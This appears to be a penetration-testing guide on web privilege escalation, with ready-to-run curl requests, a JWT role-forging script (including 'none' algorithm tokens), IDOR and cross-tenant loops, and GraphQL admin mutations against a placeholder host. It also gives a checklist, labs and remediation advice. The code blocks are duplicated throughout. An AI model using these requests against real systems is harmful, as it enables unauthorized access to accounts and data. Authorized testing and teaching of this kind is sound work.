Privilege Escalation
Escalate privileges within web applications to access higher-level functionality, administrative features, and sensitive data beyond your initial access level.
Stay in Scope
π Privilege Escalation Types
Tools & Resources
Vertical Privilege Escalation
Parameter Manipulation
Test for privilege escalation by manipulating role and permission parameters.
# Common privilege escalation parameters
# Test each parameter with elevated values
# Role parameters
role=admin
role=administrator
role=superuser
role=1 (if numeric)
isAdmin=true
admin=1
user_role=admin
# Permission parameters
access_level=admin
permission=full
level=9999
privileges=all
# User type parameters
user_type=admin
type=administrator
account_type=premium
# Burp request modification
POST /api/user/update HTTP/1.1
Host: target.com
Content-Type: application/json
{
"username": "attacker",
"email": "attacker@evil.com",
"role": "admin", // Add role parameter
"isAdmin": true, // Add admin flag
"permissions": ["*"] // Add permissions array
}
# Test during registration
POST /api/register HTTP/1.1
{
"username": "newuser",
"password": "password123",
"role": "admin" // Mass assignment vulnerability
}# Common privilege escalation parameters
# Test each parameter with elevated values
# Role parameters
role=admin
role=administrator
role=superuser
role=1 (if numeric)
isAdmin=true
admin=1
user_role=admin
# Permission parameters
access_level=admin
permission=full
level=9999
privileges=all
# User type parameters
user_type=admin
type=administrator
account_type=premium
# Burp request modification
POST /api/user/update HTTP/1.1
Host: target.com
Content-Type: application/json
{
"username": "attacker",
"email": "attacker@evil.com",
"role": "admin", // Add role parameter
"isAdmin": true, // Add admin flag
"permissions": ["*"] // Add permissions array
}
# Test during registration
POST /api/register HTTP/1.1
{
"username": "newuser",
"password": "password123",
"role": "admin" // Mass assignment vulnerability
}Direct Object Reference Manipulation
# Test accessing admin endpoints as regular user
# Save admin session cookies/tokens separately
# Admin endpoint enumeration
endpoints=(
"/admin"
"/admin/dashboard"
"/admin/users"
"/admin/settings"
"/administrator"
"/manage"
"/management"
"/console"
"/system"
"/internal"
"/api/admin"
"/api/v1/admin"
)
for endpoint in "${endpoints[@]}"; do
echo "[*] Testing: $endpoint"
curl -s -o /dev/null -w "%{http_code}" \
-H "Cookie: session=USER_SESSION" \
"https://target.com$endpoint"
done
# Test admin actions with user token
# If admin can delete users:
curl -X DELETE "https://target.com/api/users/123" \
-H "Authorization: Bearer USER_TOKEN"
# Test function-level access control
# Admin function with user session
curl -X POST "https://target.com/api/admin/createUser" \
-H "Cookie: session=USER_SESSION" \
-d '{"username": "newadmin", "role": "admin"}'# Test accessing admin endpoints as regular user
# Save admin session cookies/tokens separately
# Admin endpoint enumeration
endpoints=(
"/admin"
"/admin/dashboard"
"/admin/users"
"/admin/settings"
"/administrator"
"/manage"
"/management"
"/console"
"/system"
"/internal"
"/api/admin"
"/api/v1/admin"
)
for endpoint in "${endpoints[@]}"; do
echo "[*] Testing: $endpoint"
curl -s -o /dev/null -w "%{http_code}" \
-H "Cookie: session=USER_SESSION" \
"https://target.com$endpoint"
done
# Test admin actions with user token
# If admin can delete users:
curl -X DELETE "https://target.com/api/users/123" \
-H "Authorization: Bearer USER_TOKEN"
# Test function-level access control
# Admin function with user session
curl -X POST "https://target.com/api/admin/createUser" \
-H "Cookie: session=USER_SESSION" \
-d '{"username": "newadmin", "role": "admin"}'JWT Role Modification
# Decode JWT and identify role claims
echo 'eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwicm9sZSI6InVzZXIifQ.xxx' | \
cut -d'.' -f2 | base64 -d
# {"sub":"user","role":"user"}
# Modify role in JWT
python3 << 'EOF'
import jwt
import base64
import json
# If you know the secret (from brute force or leak)
secret = "weak_secret"
payload = {
"sub": "user",
"role": "admin", # Changed from "user"
"iat": 1699999999,
"exp": 1799999999
}
token = jwt.encode(payload, secret, algorithm="HS256")
print(token)
# If 'none' algorithm works
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "user", "role": "admin"}
token = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=')
token += b'.'
token += base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=')
token += b'.'
print(token.decode())
EOF
# Common JWT role claims to modify
# role, roles, groups, permissions, scope,
# admin, is_admin, user_type, access_level# Decode JWT and identify role claims
echo 'eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwicm9sZSI6InVzZXIifQ.xxx' | \
cut -d'.' -f2 | base64 -d
# {"sub":"user","role":"user"}
# Modify role in JWT
python3 << 'EOF'
import jwt
import base64
import json
# If you know the secret (from brute force or leak)
secret = "weak_secret"
payload = {
"sub": "user",
"role": "admin", # Changed from "user"
"iat": 1699999999,
"exp": 1799999999
}
token = jwt.encode(payload, secret, algorithm="HS256")
print(token)
# If 'none' algorithm works
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": "user", "role": "admin"}
token = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=')
token += b'.'
token += base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=')
token += b'.'
print(token.decode())
EOF
# Common JWT role claims to modify
# role, roles, groups, permissions, scope,
# admin, is_admin, user_type, access_levelHorizontal Privilege Escalation
IDOR for Horizontal Escalation
Dedicated IDOR Guide
Horizontal privilege escalation frequently relies on IDOR β accessing another user's resources by manipulating identifiers (numeric IDs, UUIDs, emails, filenames).
# Quick horizontal escalation via IDOR
# Test your user ID vs another user's ID
curl "https://target.com/api/users/456/profile" -H "Cookie: session=YOUR_SESSION" # Your ID is 123
# Bulk test with parameter fuzzing
for id in {1..100}; do
curl -s -o /dev/null -w "ID $id: %{http_code}
" -H "Cookie: session=YOUR_SESSION" "https://target.com/api/users/$id/profile"
done
# See /web-pentest/06l-idor/ for full IDOR exploitation techniques
# including UUID prediction, encoded ID bypass, and hash manipulation# Quick horizontal escalation via IDOR
# Test your user ID vs another user's ID
curl "https://target.com/api/users/456/profile" -H "Cookie: session=YOUR_SESSION" # Your ID is 123
# Bulk test with parameter fuzzing
for id in {1..100}; do
curl -s -o /dev/null -w "ID $id: %{http_code}
" -H "Cookie: session=YOUR_SESSION" "https://target.com/api/users/$id/profile"
done
# See /web-pentest/06l-idor/ for full IDOR exploitation techniques
# including UUID prediction, encoded ID bypass, and hash manipulationAutorize Automated Testing
# Using Burp Suite Autorize extension
# Setup:
# 1. Configure low-privilege user cookies
# 2. Enable Autorize
# 3. Browse as admin user
# 4. Autorize replays requests with low-priv cookies
# Configuration in Autorize:
# - Set enforcement detector (look for "admin", "403", "401")
# - Configure unauthenticated tests
# - Set scope to target domain
# Analyze results:
# - Green: Request blocked (secure)
# - Red: Request succeeded (vulnerable)
# - Yellow: Needs manual review
# Export findings to report
# AuthMatrix setup for multiple roles:
# 1. Define roles (guest, user, admin)
# 2. Add session tokens for each role
# 3. Define expected access for each endpoint
# 4. Run automated testing across all combinations# Using Burp Suite Autorize extension
# Setup:
# 1. Configure low-privilege user cookies
# 2. Enable Autorize
# 3. Browse as admin user
# 4. Autorize replays requests with low-priv cookies
# Configuration in Autorize:
# - Set enforcement detector (look for "admin", "403", "401")
# - Configure unauthenticated tests
# - Set scope to target domain
# Analyze results:
# - Green: Request blocked (secure)
# - Red: Request succeeded (vulnerable)
# - Yellow: Needs manual review
# Export findings to report
# AuthMatrix setup for multiple roles:
# 1. Define roles (guest, user, admin)
# 2. Add session tokens for each role
# 3. Define expected access for each endpoint
# 4. Run automated testing across all combinationsFunction-Level Access Control Bypass
Hidden Functionality Discovery
# Find hidden admin functions
# Check JavaScript for hidden endpoints
curl -s "https://target.com/app.js" | grep -Ei 'admin|delete|create|update|api'
# Source map analysis (if available)
curl -s "https://target.com/app.js.map" | jq '.sources[]'
# Wordlist-based endpoint discovery
ffuf -u "https://target.com/api/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-H "Cookie: session=USER_SESSION"
# Method switching
# If GET is blocked, try POST, PUT, PATCH, DELETE
methods=("GET" "POST" "PUT" "PATCH" "DELETE" "OPTIONS")
for method in "${methods[@]}"; do
echo "[*] Testing $method"
curl -X "$method" -s -o /dev/null -w "%{http_code}" \
"https://target.com/api/admin/users"
done
# Test with different Content-Types
curl -X POST "https://target.com/api/admin/action" \
-H "Content-Type: application/xml" \
-d '<action>delete</action>'# Find hidden admin functions
# Check JavaScript for hidden endpoints
curl -s "https://target.com/app.js" | grep -Ei 'admin|delete|create|update|api'
# Source map analysis (if available)
curl -s "https://target.com/app.js.map" | jq '.sources[]'
# Wordlist-based endpoint discovery
ffuf -u "https://target.com/api/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-H "Cookie: session=USER_SESSION"
# Method switching
# If GET is blocked, try POST, PUT, PATCH, DELETE
methods=("GET" "POST" "PUT" "PATCH" "DELETE" "OPTIONS")
for method in "${methods[@]}"; do
echo "[*] Testing $method"
curl -X "$method" -s -o /dev/null -w "%{http_code}" \
"https://target.com/api/admin/users"
done
# Test with different Content-Types
curl -X POST "https://target.com/api/admin/action" \
-H "Content-Type: application/xml" \
-d '<action>delete</action>'Feature Flag Manipulation
# Manipulate feature flags to enable admin features
# Check for feature flag cookies/headers
curl -v "https://target.com/" 2>&1 | grep -i feature
# Common feature flag parameters
features=enabled
beta=true
debug=1
dev_mode=true
admin_features=true
premium=true
feature_flag=admin_dashboard
# Test in request body
curl -X POST "https://target.com/api/profile" \
-H "Content-Type: application/json" \
-d '{
"name": "Test User",
"features": {
"admin_panel": true,
"advanced_settings": true
}
}'
# Check for A/B testing parameters
curl "https://target.com/dashboard?variant=admin" \
-H "X-Feature-Flags: admin_enabled"
# Local storage/cookie feature flags
# Inspect and modify via browser dev tools# Manipulate feature flags to enable admin features
# Check for feature flag cookies/headers
curl -v "https://target.com/" 2>&1 | grep -i feature
# Common feature flag parameters
features=enabled
beta=true
debug=1
dev_mode=true
admin_features=true
premium=true
feature_flag=admin_dashboard
# Test in request body
curl -X POST "https://target.com/api/profile" \
-H "Content-Type: application/json" \
-d '{
"name": "Test User",
"features": {
"admin_panel": true,
"advanced_settings": true
}
}'
# Check for A/B testing parameters
curl "https://target.com/dashboard?variant=admin" \
-H "X-Feature-Flags: admin_enabled"
# Local storage/cookie feature flags
# Inspect and modify via browser dev toolsMulti-Tenant Privilege Escalation
# Cross-tenant data access
# Manipulate tenant/organization identifiers
# Tenant ID in URL
# /api/tenants/123/users β /api/tenants/456/users
curl "https://target.com/api/tenants/456/users" \
-H "Cookie: session=TENANT_123_USER"
# Tenant ID in headers
curl "https://target.com/api/data" \
-H "X-Tenant-ID: 456" \
-H "Cookie: session=TENANT_123_USER"
# Tenant ID in subdomain
# tenant123.app.com β tenant456.app.com
# Test if session cookie works across subdomains
# Organization switching
curl "https://target.com/api/switch-org" \
-H "Cookie: session=YOUR_SESSION" \
-d '{"org_id": "victim_org_id"}'
# Shared resource access
# Files, reports, or data shared between tenants
curl "https://target.com/api/shared/reports/123" \
-H "Cookie: session=DIFFERENT_TENANT_USER"
# API key scope testing
# Test if API keys work across tenant boundaries# Cross-tenant data access
# Manipulate tenant/organization identifiers
# Tenant ID in URL
# /api/tenants/123/users β /api/tenants/456/users
curl "https://target.com/api/tenants/456/users" \
-H "Cookie: session=TENANT_123_USER"
# Tenant ID in headers
curl "https://target.com/api/data" \
-H "X-Tenant-ID: 456" \
-H "Cookie: session=TENANT_123_USER"
# Tenant ID in subdomain
# tenant123.app.com β tenant456.app.com
# Test if session cookie works across subdomains
# Organization switching
curl "https://target.com/api/switch-org" \
-H "Cookie: session=YOUR_SESSION" \
-d '{"org_id": "victim_org_id"}'
# Shared resource access
# Files, reports, or data shared between tenants
curl "https://target.com/api/shared/reports/123" \
-H "Cookie: session=DIFFERENT_TENANT_USER"
# API key scope testing
# Test if API keys work across tenant boundariesGraphQL Privilege Escalation
# GraphQL introspection for privilege escalation
# Find admin mutations and queries
# Introspection query
curl -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-H "Cookie: session=USER_SESSION" \
-d '{
"query": "{ __schema { types { name fields { name } } } }"
}'
# Look for admin types and mutations
# AdminUser, AdminMutation, createAdmin, deleteUser, etc.
# Test admin mutations as regular user
curl -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-H "Cookie: session=USER_SESSION" \
-d '{
"query": "mutation { createAdmin(username: "hacker") { id } }"
}'
# Query other users' data
curl -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-H "Cookie: session=USER_SESSION" \
-d '{
"query": "{ user(id: 456) { email password_hash } }"
}'
# Nested query escalation
# Access related objects you shouldn't see
curl -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{
"query": "{ myProfile { organization { allUsers { email role } } } }"
}'# GraphQL introspection for privilege escalation
# Find admin mutations and queries
# Introspection query
curl -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-H "Cookie: session=USER_SESSION" \
-d '{
"query": "{ __schema { types { name fields { name } } } }"
}'
# Look for admin types and mutations
# AdminUser, AdminMutation, createAdmin, deleteUser, etc.
# Test admin mutations as regular user
curl -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-H "Cookie: session=USER_SESSION" \
-d '{
"query": "mutation { createAdmin(username: "hacker") { id } }"
}'
# Query other users' data
curl -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-H "Cookie: session=USER_SESSION" \
-d '{
"query": "{ user(id: 456) { email password_hash } }"
}'
# Nested query escalation
# Access related objects you shouldn't see
curl -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{
"query": "{ myProfile { organization { allUsers { email role } } } }"
}'Automated Privilege Escalation Testing
# Python script for automated authorization testing
import requests
from concurrent.futures import ThreadPoolExecutor
# Define user sessions
sessions = {
'admin': 'admin_session_token',
'user': 'user_session_token',
'guest': None
}
# Collect endpoints from proxy logs
endpoints = [
('GET', '/api/users'),
('GET', '/api/admin/dashboard'),
('POST', '/api/users/create'),
('DELETE', '/api/users/1'),
('GET', '/api/settings'),
]
def test_endpoint(method, path, role, session):
headers = {'Cookie': f'session={session}'} if session else {}
try:
if method == 'GET':
r = requests.get(f'https://target.com{path}', headers=headers)
elif method == 'POST':
r = requests.post(f'https://target.com{path}', headers=headers, json={})
elif method == 'DELETE':
r = requests.delete(f'https://target.com{path}', headers=headers)
return {
'role': role,
'method': method,
'path': path,
'status': r.status_code,
'length': len(r.content)
}
except Exception as e:
return {'error': str(e)}
# Test all endpoints with all roles
results = []
for method, path in endpoints:
for role, session in sessions.items():
result = test_endpoint(method, path, role, session)
results.append(result)
# Flag potential vulnerabilities
if role != 'admin' and result.get('status') == 200:
print(f'[!] POTENTIAL VULN: {role} can access {method} {path}')
# Compare admin vs user responses
# Same response = potential authorization bypass# Python script for automated authorization testing
import requests
from concurrent.futures import ThreadPoolExecutor
# Define user sessions
sessions = {
'admin': 'admin_session_token',
'user': 'user_session_token',
'guest': None
}
# Collect endpoints from proxy logs
endpoints = [
('GET', '/api/users'),
('GET', '/api/admin/dashboard'),
('POST', '/api/users/create'),
('DELETE', '/api/users/1'),
('GET', '/api/settings'),
]
def test_endpoint(method, path, role, session):
headers = {'Cookie': f'session={session}'} if session else {}
try:
if method == 'GET':
r = requests.get(f'https://target.com{path}', headers=headers)
elif method == 'POST':
r = requests.post(f'https://target.com{path}', headers=headers, json={})
elif method == 'DELETE':
r = requests.delete(f'https://target.com{path}', headers=headers)
return {
'role': role,
'method': method,
'path': path,
'status': r.status_code,
'length': len(r.content)
}
except Exception as e:
return {'error': str(e)}
# Test all endpoints with all roles
results = []
for method, path in endpoints:
for role, session in sessions.items():
result = test_endpoint(method, path, role, session)
results.append(result)
# Flag potential vulnerabilities
if role != 'admin' and result.get('status') == 200:
print(f'[!] POTENTIAL VULN: {role} can access {method} {path}')
# Compare admin vs user responses
# Same response = potential authorization bypassPrivilege Escalation Testing Checklist
β¬οΈ Vertical Escalation
- β Role/permission parameters tested
- β Admin endpoints accessible checked
- β JWT role claims manipulation tested
- β Mass assignment vulnerabilities checked
- β Hidden admin functionality discovered
βοΈ Horizontal Escalation
- β IDOR on all user-specific endpoints
- β Predictable ID patterns identified
- β Email/username parameter manipulation
- β Cross-tenant access tested
- β Bulk data export access checked
π§ Function Access
- β HTTP method switching tested
- β Content-Type variations tried
- β Feature flags enumerated and tested
- β GraphQL mutations tested
- β API versioning bypasses checked
π Automated Testing
- β Autorize/AuthMatrix configured
- β All roles tested against all endpoints
- β Response comparison analysis done
- β Edge cases and boundary conditions
- β Results documented with evidence
Practice Labs
PortSwigger Access Control Labs
Comprehensive labs covering vertical and horizontal privilege escalation
Business Logic Labs
Practice exploiting business logic flaws for privilege escalation
OWASP Juice Shop
Multiple IDOR and privilege escalation challenges
crAPI (Completely Ridiculous API)
API-focused vulnerable app with authorization bypass challenges
π‘οΈ Remediation & Defense
Access Control Best Practices
Authorization Architecture
- β’ Implement centralized authorization checks (middleware/interceptor pattern)
- β’ Default to deny β require explicit grants for every resource
- β’ Use Role-Based (RBAC) or Attribute-Based (ABAC) access control
- β’ Validate authorization server-side for every request, never rely on client-side
IDOR Prevention
- β’ Use indirect references (UUIDs) instead of sequential integer IDs
- β’ Verify object ownership on every access (check userβs context)
- β’ Implement per-resource authorization, not just endpoint-level
- β’ For comprehensive IDOR testing techniques, see the IDOR guide
Admin & Feature Protection
- β’ Protect admin panels with separate authentication and network restrictions
- β’ Disable or remove hidden admin routes/endpoints
- β’ Ensure feature flags/toggles are enforced server-side
- β’ Audit user role assignments and permission changes
Testing & Monitoring
- β’ Use Autorize/AuthMatrix in CI/CD for automated access control testing
- β’ Alert on privilege changes or admin actions from unexpected contexts
- β’ Log all authorization failures for review
- β’ Conduct regular access control reviews across all roles
CWE References: CWE-269 (Improper Privilege Management), CWE-862 (Missing Authorization), CWE-639 (Authorization Bypass Through User-Controlled Key)